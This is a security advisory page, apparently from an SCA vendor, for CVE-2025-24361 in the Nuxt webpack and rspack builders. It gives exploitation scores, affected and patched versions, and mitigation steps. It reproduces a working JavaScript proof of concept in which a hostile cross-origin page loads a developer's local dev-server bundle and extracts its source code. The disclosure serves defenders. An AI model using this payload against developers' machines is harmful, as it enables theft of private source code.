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MEDIUM severity

CVE-2025-24361 — @nuxt/webpack-builder

MEDIUMFix: nuxt/nuxt@7eeb910

CVE-2025-24361 is a medium-severity (CVSS 5.3) CWE-749 vulnerability in @nuxt/webpack-builder. A fix is available for @nuxt/webpack-builder — see the affected versions and patch details below.

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Also known asGHSA-4gf7-ff8x-hq99
Published
Jan 25, 2025
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-24361.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-24361 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@nuxt/webpack-buildernpm
927downloads / week
@nuxt/rspack-buildernpm
653downloads / week

Description

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nuxt/webpack-builder≥ 3.0.0&&< 3.15.33.15.3npm install @nuxt/webpack-builder@3.15.3
📦npm@nuxt/rspack-builder≥ 3.12.2&&< 3.15.33.15.3npm install @nuxt/rspack-builder@3.15.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nuxt/webpack-builder, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @nuxt/webpack-builder to 3.15.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-24361 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-24361 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-24361. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. ### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in
O3 Security · Impact-Aware SCA

Is CVE-2025-24361 in your dependencies?

O3 Security finds CVE-2025-24361 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-24361: @nuxt/webpack-builder | O3 Security